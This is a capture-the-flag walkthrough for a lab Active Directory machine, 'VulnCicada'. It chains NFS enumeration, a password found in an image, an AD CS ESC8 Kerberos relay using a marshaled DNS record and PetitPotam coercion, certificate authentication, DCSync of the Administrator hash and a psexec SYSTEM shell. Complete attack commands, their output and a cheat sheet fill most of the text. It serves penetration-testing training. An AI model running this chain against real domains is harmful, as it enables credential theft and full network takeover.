π VulnCicada
Machine: VulnCicada
Difficulty: Medium
Theme: NFS information disclosure β credential discovery in image β Kerberos-only domain auth β AD CS ESC8 β Kerberos relay over SMB β DomainController certificate β DCSync β Administrator shell
π― Summary
VulnCicada is a Windows Active Directory machine exposing DNS, Kerberos, LDAP, SMB, NFS, RDP, ADWS, and an IIS web service.
Anonymous SMB enumeration fails because NTLM authentication is disabled. However, NFS is exposed publicly and leaks Windows user profile directories through the /profiles export. Inside the exposed profile data, an image file belonging to Rosie.Powell contains a visible password-like string.
Because SMB reports NTLM:False, the credential must be validated using Kerberos against the real domain controller FQDN rather than against the IP. The credential works for cicada.vl\Rosie.Powell.
Authenticated SMB enumeration reveals a readable CertEnroll share, confirming that Active Directory Certificate Services is deployed. Certipy enumeration confirms an AD CS CA named cicada-DC-JPQ225-CA and identifies HTTP Web Enrollment as enabled, producing an ESC8 finding.
Classic NTLM relay is not suitable because NTLM is disabled. The successful path uses Kerberos relay over SMB. A marshaled DNS hostname is added to AD DNS and pointed at the attacker VPN IP. Certipy relay is started against the AD CS HTTP enrollment endpoint using the DomainController template. NetExec coerce_plus is then used with PetitPotam to force the domain controller to authenticate to the marshaled listener name.
The relayed authentication allows Certipy to request and save a DomainController certificate for the DC machine account. That certificate is used to obtain a Kerberos TGT and machine account hash for dc-jpq225$. The DC machine Kerberos context is then used with DRSUAPI via secretsdump to extract the Administrator hash. Finally, the Administrator hash is used with Kerberos-aware Impacket execution to obtain a SYSTEM shell.
1. Enumeration
Initial full-port scanning identified a Windows Active Directory target:
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/vulncicada_portscan [TARGET_IP]Open ports included:
53/tcp domain
80/tcp http
88/tcp kerberos-sec
111/tcp rpcbind
135/tcp msrpc
139/tcp netbios-ssn
389/tcp ldap
445/tcp microsoft-ds
464/tcp kpasswd5
593/tcp http-rpc-epmap
636/tcp ldapssl
2049/tcp nfs
3268/tcp globalcatLDAP
3269/tcp globalcatLDAPssl
3389/tcp ms-wbt-server
9389/tcp adwsA targeted service scan showed the domain and hostnames:
sudo nmap -sC -sV -vv -oA nmap/vulncicada [TARGET_IP]Important findings:
Domain: cicada.vl
Hostname: DC-JPQ225
FQDN: DC-JPQ225.cicada.vl
SMB signing: required
LDAP certificate issuer: cicada-DC-JPQ225-CA
NFS/rpcbind exposed
IIS 10.0 on port 80The hostnames were added to /etc/hosts:
echo "[TARGET_IP] DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hostsImportant gotcha:
Kerberos authentication depends heavily on correct DNS/FQDN resolution. Using the IP directly caused several tools to fail or fall back into unsupported authentication behavior.
2. SMB Null Session Fails
Anonymous SMB authentication was tested first:
nxc smb [TARGET_IP] -u '' -p ''Output showed:
NTLM:False
STATUS_NOT_SUPPORTEDThis was an important clue. The issue was not simply βbad null creds.β The target did not support NTLM authentication for this path.
Takeaway:
Do not keep pushing anonymous SMB when the host clearly reports NTLM:False. Pivot to other exposed services and use Kerberos-aware tooling once credentials are found.
3. NFS Enumeration
The scan showed both rpcbind and nfs/mountd, so NFS export enumeration was prioritized.
Exports were listed:
showmount -e [TARGET_IP]Result:
Export list for [TARGET_IP]:
/profiles (everyone)The export was mounted locally:
mkdir target-NFS
sudo mount -t nfs [TARGET_IP]:/profiles ./target-NFS/
cd target-NFSDirectory listing:
Administrator
Daniel.Marshall
Debra.Wright
Jane.Carter
Jordan.Francis
Joyce.Andrews
Katie.Ward
Megan.Simpson
Richard.Gibbons
Rosie.Powell
Shirley.WestRecursive listing showed two interesting images:
tree -L3Important files:
Administrator/vacation.png
Rosie.Powell/marketing.pngSome Documents folders produced permission errors, but this was not worth chasing. The image files were the clear lead.
4. Credential Discovery in marketing.png
The images were copied out of the mounted NFS directory and inspected visually:
cp target-NFS/Rosie.Powell/marketing.png .
cp target-NFS/Administrator/vacation.png .The marketing.png image contained a visible sticky note with a password-like string.
Because the image was located under Rosie.Powellβs profile, the logical username to test was:
Rosie.PowellCredential stored in notes:
Rosie.Powell : [REDACTED]Important gotcha:
Running GUI tools like GIMP with sudo is unnecessary after copying the file into your workspace. Open images as the normal user to avoid permission issues.
5. Kerberos Credential Validation
A normal SMB login attempt against the IP failed:
nxc smb [TARGET_IP] -u 'Rosie.Powell' -p '[PASSWORD]'Output again showed:
NTLM:False
STATUS_NOT_SUPPORTEDThis did not mean the password was wrong. It meant the authentication method was wrong.
The credential was tested against the real DC FQDN with Kerberos:
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -kSuccessful result:
[+] cicada.vl\Rosie.Powell:[PASSWORD]A Kerberos TGT was also obtained:
impacket-getTGT 'cicada.vl/Rosie.Powell:[PASSWORD]'This created:
Rosie.Powell.ccacheThe ticket cache was exported when needed:
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
klistExpected principal:
Rosie.Powell@CICADA.VL6. Authenticated SMB Enumeration
Authenticated share enumeration was performed with Kerberos:
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k --sharesImportant shares:
ADMIN$ Remote Admin
C$ Default share
CertEnroll READ Active Directory Certificate Services share
IPC$ READ
NETLOGON READ
profiles$ READ,WRITE
SYSVOL READThe CertEnroll share was the key clue. It indicated AD CS was deployed.
The share was inspected using Impacketβs SMB client because Samba smbclient had Kerberos/SPNEGO issues:
impacket-smbclient -k -no-pass cicada.vl/Rosie.Powell@DC-JPQ225.cicada.vlInside the prompt:
shares
use CertEnroll
lsThe share contained CA publication material:
.cer / .crt files
.crl files
nsrev_cicada-DC-JPQ225-CA.aspThese files were not private keys or direct loot. Their value was confirming the AD CS deployment.
7. AD CS Enumeration
Certipy was used to enumerate certificate services.
Initial attempts failed when -target was omitted while using Kerberos:
Target name (-target) not specified and Kerberos authentication is used. This might fail
LDAP Kerberos authentication failedCorrect structure:
certipy find \
-dc-ip [TARGET_IP] \
-target DC-JPQ225.cicada.vl \
-u Rosie.Powell@cicada.vl \
-p '[PASSWORD]' \
-k \
-vulnerable \
-stdoutImportant output:
CA Name : cicada-DC-JPQ225-CA
DNS Name : DC-JPQ225.cicada.vl
Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
Request Disposition : Issue
Enroll : CICADA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.Important gotcha:
Certipy may report that no vulnerable templates were found. That does not kill this path. The issue is CA-level HTTP Web Enrollment exposure, not a vulnerable user template.
8. Certipy Relay Setup
Certipy relay was started against the AD CS HTTP enrollment endpoint using the DomainController template:
sudo certipy relay \
-target http://DC-JPQ225.cicada.vl \
-ca cicada-DC-JPQ225-CA \
-template DomainControllerExpected good listener output:
Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
Listening on 0.0.0.0:445
Setting up SMB Server on port 445Important local tooling issue:
Certipy relay needs to bind local TCP port 445, so it requires root privileges. If Certipy was installed only under the user environment, sudo certipy will fail because root cannot import the user-local package.
Confirm where the user-local install lives:
which certipyExample output:
/home/user/.local/bin/certipyThe clean fix is to install Certipy into a dedicated virtual environment and expose it globally with a symlink so both the user and root resolve the same binary.
Create the venv and install Certipy:
python3 -m venv ~/venvs/certipy
source ~/venvs/certipy/bin/activate
pip install --upgrade pip
pip install certipy-ad
deactivateExpose it globally:
sudo ln -sf ~/venvs/certipy/bin/certipy /usr/local/bin/certipyVerify both contexts resolve the same binary:
certipy -h
sudo certipy -hAlso check whether port 445 is already in use:
sudo ss -ltnp | grep ':445'If Samba is using it:
sudo systemctl stop smbd nmbdThen run relay normally:
sudo certipy relay \
-target http://DC-JPQ225.cicada.vl \
-ca cicada-DC-JPQ225-CA \
-template DomainController9. Coercion Testing
NetExecβs coerce_plus module was used to check available coercion methods:
nxc smb DC-JPQ225.cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
-M coerce_plusOutput showed several methods were available:
VULNERABLE, DFSCoerce
VULNERABLE, PetitPotam
VULNERABLE, PrinterBug
VULNERABLE, MSEvenA standalone PetitPotam script was tested but failed with:
STATUS_NOT_SUPPORTEDThis was consistent with the targetβs NTLM:False behavior and the fact that raw IP-based coercion was not suitable for the final Kerberos relay path.
NetExec was used instead because it worked cleanly with Kerberos-authenticated coercion.
10. Generic DNS Listener Name Was Not Enough
A basic AD DNS record was first added:
bloodyAD --host DC-JPQ225.cicada.vl \
-d cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
add dnsRecord attacker [LHOST]DNS was verified against the DC:
dig @[TARGET_IP] attacker.cicada.vl +shortExpected:
[LHOST]PetitPotam coercion was triggered:
nxc smb DC-JPQ225.cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
-M coerce_plus \
-o LISTENER=attacker METHOD=PetitPotamThis caused the DC to connect to Certipy:
Received connection from [TARGET_IP]However, Certipy did not continue to authenticate against AD CS or issue a certificate.
This was an important distinction:
Callback worked.
Relay did not complete.The issue was the listener hostname. A generic DNS name proved reachability, but Kerberos relay required a marshaled listener hostname.
11. Marshaled DNS Hostname for Kerberos Relay
The missing piece was the Kerberos relay-specific marshaled hostname.
The required record format was based on the DC hostname plus a magic suffix:
DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAAThe AD DNS record was added with BloodyAD:
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
bloodyAD --host DC-JPQ225.cicada.vl \
-d cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" [LHOST]Verification:
dig @[TARGET_IP] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +shortExpected:
[LHOST]Important gotchas:
- Add only the DNS record label, not the full FQDN, with
bloodyAD add dnsRecord. - The DNS record must point to the HTB VPN IP, not the local LAN IP.
/etc/hostsis not enough. The DC must resolve the record through AD DNS.bloodyADneeded-kbecause NTLM was disabled.
12. Kerberos Relay to AD CS
Certipy relay was restarted cleanly:
sudo certipy relay \
-target http://DC-JPQ225.cicada.vl \
-ca cicada-DC-JPQ225-CA \
-template DomainControllerThen NetExec coercion was triggered using the marshaled listener name:
nxc smb DC-JPQ225.cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
-M coerce_plus \
-o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotamNetExec showed:
VULNERABLE, PetitPotam
Exploit Success, efsrpc\EfsRpcAddUsersToFileThis time Certipy completed the relay:
HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
Authenticating connection from /@[TARGET_IP] against http://DC-JPQ225.cicada.vl SUCCEED
Requesting certificate for '\' based on the template 'DomainController'
Certificate issued with request ID [ID]
Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
Saving certificate and private key to 'dc-jpq225.pfx'
Wrote certificate and private key to 'dc-jpq225.pfx'This was the decisive exploitation step.
13. Authenticate with the DomainController Certificate
The issued certificate was used with Certipy auth:
certipy auth \
-pfx dc-jpq225.pfx \
-dc-ip [TARGET_IP]Output showed:
Certificate identities:
SAN DNS Host Name: 'DC-JPQ225.cicada.vl'
Using principal: 'dc-jpq225$@cicada.vl'
Trying to get TGT...
Got TGT
Saving credential cache to 'dc-jpq225.ccache'
Trying to retrieve NT hash for 'dc-jpq225$'
Got hash for 'dc-jpq225$@cicada.vl'Artifacts obtained:
dc-jpq225.pfx
dc-jpq225.ccache
dc-jpq225$ NT hashImportant gotcha:
At this point, the active identity is the DC machine account, not Rosie.
14. DCSync as the DC Machine Account
The machine-account Kerberos cache was exported:
export KRB5CCNAME=/path/to/dc-jpq225.ccache
klistExpected principal:
dc-jpq225$@CICADA.VLThe Administrator account was dumped using DRSUAPI with Impacket secretsdump:
impacket-secretsdump \
-k \
-no-pass \
cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl \
-just-dc-user AdministratorImportant syntax details:
- Use
-k -no-passbecause the machine account ccache is being used. - Escape the
$indc-jpq225$asdc-jpq225\$. - Use the DC FQDN, not the IP.
- Use
-just-dc-user Administratorto avoid dumping the whole domain unnecessarily.
Expected output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[ADMIN_NT_HASH]:::
Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:[AES256_KEY]
Administrator:aes128-cts-hmac-sha1-96:[AES128_KEY]The Administrator NT hash was saved to notes:
Administrator : [ADMIN_NT_HASH]15. Administrator Shell
Because the target had NTLM:False, remote execution was performed with Kerberos-aware Impacket usage and the FQDN.
First, unset the DC machine ccache to avoid using the wrong identity:
unset KRB5CCNAMEThen use the Administrator hash with Kerberos mode:
impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
-k \
-hashes :[ADMIN_NT_HASH]If needed, add the DC IP as a KDC hint while still targeting the FQDN:
impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
-k \
-dc-ip [TARGET_IP] \
-hashes :[ADMIN_NT_HASH]Expected shell:
C:\Windows\system32>Verify:
whoamiExpected:
nt authority\systemUser and root flags can then be read from the Administrator profile if present:
type C:\Users\Administrator\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txtπ Condensed Attack Chain
Full TCP scan
β
AD/DC services identified
β
SMB null auth fails with NTLM disabled
β
NFS/rpcbind identified
β
showmount reveals /profiles export
β
Mount /profiles
β
Windows user profile directories exposed
β
Rosie.Powell/marketing.png contains visible password
β
Credential tested with Kerberos against DC FQDN
β
Valid creds: cicada.vl\Rosie.Powell
β
Authenticated SMB share enumeration
β
CertEnroll share discovered
β
Certipy find confirms AD CS + HTTP Web Enrollment
β
ESC8 identified
β
Certipy relay started against AD CS HTTP endpoint
β
Generic DNS listener causes callback but no relay completion
β
Marshaled DNS hostname added to AD DNS
β
DNS record points to attacker HTB VPN IP
β
NetExec coerce_plus PetitPotam triggers DC authentication
β
Kerberos relay succeeds
β
AD CS issues DomainController certificate
β
dc-jpq225.pfx saved
β
certipy auth obtains TGT as dc-jpq225$
β
dc-jpq225.ccache used with secretsdump
β
DCSync extracts Administrator hash
β
Kerberos-aware psexec with Administrator hash
β
SYSTEM shellπ§ Key Takeaways
NTLM:Falseis a major clue. Do not interpret every failed SMB login as bad credentials. On this machine, Kerberos-aware tooling and FQDN targeting were required.- The NFS export was the initial foothold, not SMB or HTTP. Public NFS exposure leaked Windows user profile data.
- Image files can contain visual secrets that
stringsor metadata tools may not reveal. Openingmarketing.pngvisually was decisive. - The username should be inferred from file context. Since
marketing.pngwas in Rosie.Powellβs profile, Rosie.Powell was the first credential validation target. - Kerberos workflows require correct
/etc/hostsentries and FQDN usage. The real DC FQDN wasDC-JPQ225.cicada.vl. CertEnrollis not usually direct loot. It is a strong AD CS deployment clue.- Certipy
authis only used after obtaining a certificate/PFX. For enumeration, usecertipy find. -dc-ipand-targetare not interchangeable.-dc-ipis for connectivity;-targetis the Kerberos/LDAP target name.- No vulnerable templates does not mean no AD CS path. ESC8 was a CA/web-enrollment issue.
- Certipy relay needs root because it binds to SMB port 445.
- Generic DNS callback names can prove reachability but still fail Kerberos relay. The marshaled DNS hostname was the key missing piece.
- Seeing only
Received connectionin Certipy means callback occurred, not that relay succeeded. - Successful relay is confirmed when Certipy requests a certificate and writes a
.pfx. - After obtaining the DomainController certificate, the path becomes Kerberos TGT β DCSync β Administrator hash.
- Avoid raw IPs in Kerberos-heavy steps. Use the FQDN and add
-dc-iponly as a KDC hint when needed. - When using a machine account like
dc-jpq225$in shell commands, escape the$as\$.
β‘ Commands Cheat Sheet
# Scanning
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/vulncicada_portscan [TARGET_IP]
sudo nmap -sC -sV -vv -oA nmap/vulncicada [TARGET_IP]# Hosts file
echo "[TARGET_IP] DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hosts# SMB null auth check
nxc smb [TARGET_IP] -u '' -p ''# NFS enumeration
showmount -e [TARGET_IP]
mkdir target-NFS
sudo mount -t nfs [TARGET_IP]:/profiles ./target-NFS/
cd target-NFS
ls
tree -L3# Copy interesting images
cp target-NFS/Rosie.Powell/marketing.png .
cp target-NFS/Administrator/vacation.png .# Kerberos credential validation
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k# Get TGT for Rosie
impacket-getTGT 'cicada.vl/Rosie.Powell:[PASSWORD]'
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
klist# Authenticated SMB share enumeration
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k --shares# Impacket SMB client with Kerberos
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
impacket-smbclient -k -no-pass cicada.vl/Rosie.Powell@DC-JPQ225.cicada.vlInside Impacket SMB client:
shares
use CertEnroll
ls# Certipy AD CS enumeration
certipy find \
-dc-ip [TARGET_IP] \
-target DC-JPQ225.cicada.vl \
-u Rosie.Powell@cicada.vl \
-p '[PASSWORD]' \
-k \
-vulnerable \
-stdout# Certipy relay
sudo certipy relay \
-target http://DC-JPQ225.cicada.vl \
-ca cicada-DC-JPQ225-CA \
-template DomainController# Check port 445 on attacker
sudo ss -ltnp | grep ':445'
sudo systemctl stop smbd nmbd# Coercion discovery
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k -M coerce_plus# Add generic DNS record (testing reachability)
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
bloodyAD --host DC-JPQ225.cicada.vl \
-d cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
add dnsRecord attacker [LHOST]
dig @[TARGET_IP] attacker.cicada.vl +short# Add marshaled DNS record (for Kerberos relay)
bloodyAD --host DC-JPQ225.cicada.vl \
-d cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" [LHOST]
dig @[TARGET_IP] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +short# Trigger coercion with marshaled listener
nxc smb DC-JPQ225.cicada.vl \
-u 'Rosie.Powell' \
-p '[PASSWORD]' \
-k \
-M coerce_plus \
-o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam# Authenticate with issued PFX
certipy auth -pfx dc-jpq225.pfx -dc-ip [TARGET_IP]# Use DC machine ccache
export KRB5CCNAME=/path/to/dc-jpq225.ccache
klist# DCSync Administrator
impacket-secretsdump \
-k \
-no-pass \
cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl \
-just-dc-user Administrator# Kerberos-aware Administrator shell
unset KRB5CCNAME
impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
-k \
-dc-ip [TARGET_IP] \
-hashes :[ADMIN_NT_HASH]:: Verify and read flags
whoami
type C:\Users\Administrator\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txtπ Related Manual Notes
Field-manual techniques demonstrated on this box:
- NFS_Ports_111_2049 β NFS enumeration
- NetExec_LDAP_Kerberos β Kerberos authentication
- Pass_the_Certificate β ADCS certificate abuse / relay (ESC8)
- AD_DCSync β DCSync
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: STATUS_NOT_SUPPORTED on SMB login attempts
Meaning: Target rejects NTLM (NTLM:False), not bad credentials
Next: Re-run against the DC FQDN with -k (Kerberos), not the IP
Symptom: Standalone PetitPotam script returns STATUS_NOT_SUPPORTED
Meaning: Same NTLM-disabled issue; raw IP-based coercion is the wrong channel
Next: Use NetExec coerce_plus with -k and the DC FQDN
Symptom: Target name (-target) not specified and Kerberos authentication is used
Meaning: Certipy needs an explicit Kerberos/LDAP target name when -k is set
Next: Add -target DC-FQDN alongside -dc-ip [TARGET_IP]
Symptom: sudo certipy fails to import the package, or βcommand not foundβ under root
Meaning: Certipy is installed user-local (~/.local/bin), so root cannot import it
Next: Install Certipy into a dedicated venv and symlink it into /usr/local/bin
Symptom: Certipy relay shows only Received connection from ... and then nothing
Meaning: Coercion fired and the DC connected, but the relay itself did not complete
Next: Replace the generic DNS listener with a marshaled Kerberos relay hostname
Symptom: dig resolves the listener correctly but relay still does not issue a cert
Meaning: DNS works, but the hostname format is wrong for Kerberos relay
Next: Add an AD DNS record named <DC-NAME><marshaled-suffix> and coerce against that label
Symptom: Certipy moves past Received connection and prints HTTP/1.1 200 OK + Certificate issued
Meaning: Kerberos relay actually completed; a .pfx should now be on disk
Next: Run certipy auth -pfx <file>.pfx -dc-ip [TARGET_IP] to mint the TGT
Symptom: You have dc-<host>.pfx in hand
Meaning: Your next identity is the DC machine account (dc-<host>$), not the original user
Next: certipy auth β export the resulting .ccache β secretsdump -k -no-pass for DCSync
Symptom: secretsdump or psexec runs as the wrong identity
Meaning: KRB5CCNAME still points at a previous userβs ticket cache
Next: unset KRB5CCNAME (or re-export the correct ccache) and confirm with klist
Symptom: Impacket complains about $ when using a machine account name
Meaning: The shell is interpreting $ as a variable expansion
Next: Escape the $ as \$ (e.g. dc-jpq225\$@DC-FQDN) or single-quote the principal
Symptom: smbclient (Samba) fails with Kerberos/SPNEGO errors
Meaning: Sambaβs Kerberos handling is brittle in this configuration
Next: Use impacket-smbclient -k -no-pass <DOMAIN>/<user>@<DC-FQDN> instead
Symptom: sudo certipy relay cannot bind port 445
Meaning: Local Samba (or a stale Responder) already owns the port
Next: sudo ss -ltnp | grep ':445' to identify, then sudo systemctl stop smbd nmbd
π Personal Notes
The first important lesson on VulnCicada is to treat NTLM:False as a major environmental constraint. Several things that would normally work in an AD lab failed until the workflow was adjusted to Kerberos, FQDNs, and ccache handling.
The NFS export was the real initial foothold. It was easy to spend too much time on SMB null sessions or the default IIS page, but the exposed /profiles export immediately gave user context and eventually a password from marketing.png.
The password discovery was visual, not technical. This is a good reminder to actually open images and documents instead of only running strings, file, and exiftool.
The CertEnroll share was not direct loot. It was a signpost toward AD CS. The meaningful enumeration was Certipyβs CA configuration output, especially HTTP Web Enrollment and ESC8.
The Certipy mode distinction matters:
findis for AD CS enumeration.relayis for relaying authentication to AD CS.authis only useful after a certificate/PFX exists.
The biggest rabbit hole was the relay listener DNS name. A generic DNS record like attacker.cicada.vl proved that coercion and callback worked, but Certipy only showed Received connection. The relay did not complete until the marshaled Kerberos relay hostname was added to AD DNS and used as the coercion listener.
The successful relay was obvious because Certipy moved beyond βReceived connectionβ and showed HTTP requests, certificate issuance, and a saved .pfx.
After obtaining the DomainController certificate, the rest of the path became straightforward: use the PFX to get a DC machine TGT, use that Kerberos context for DCSync, extract the Administrator hash, and use Kerberos-aware Impacket execution to get SYSTEM.
This machine is a strong CPTS reminder: authenticated enumeration, protocol awareness, and careful interpretation of tool output matter more than blindly running exploit commands.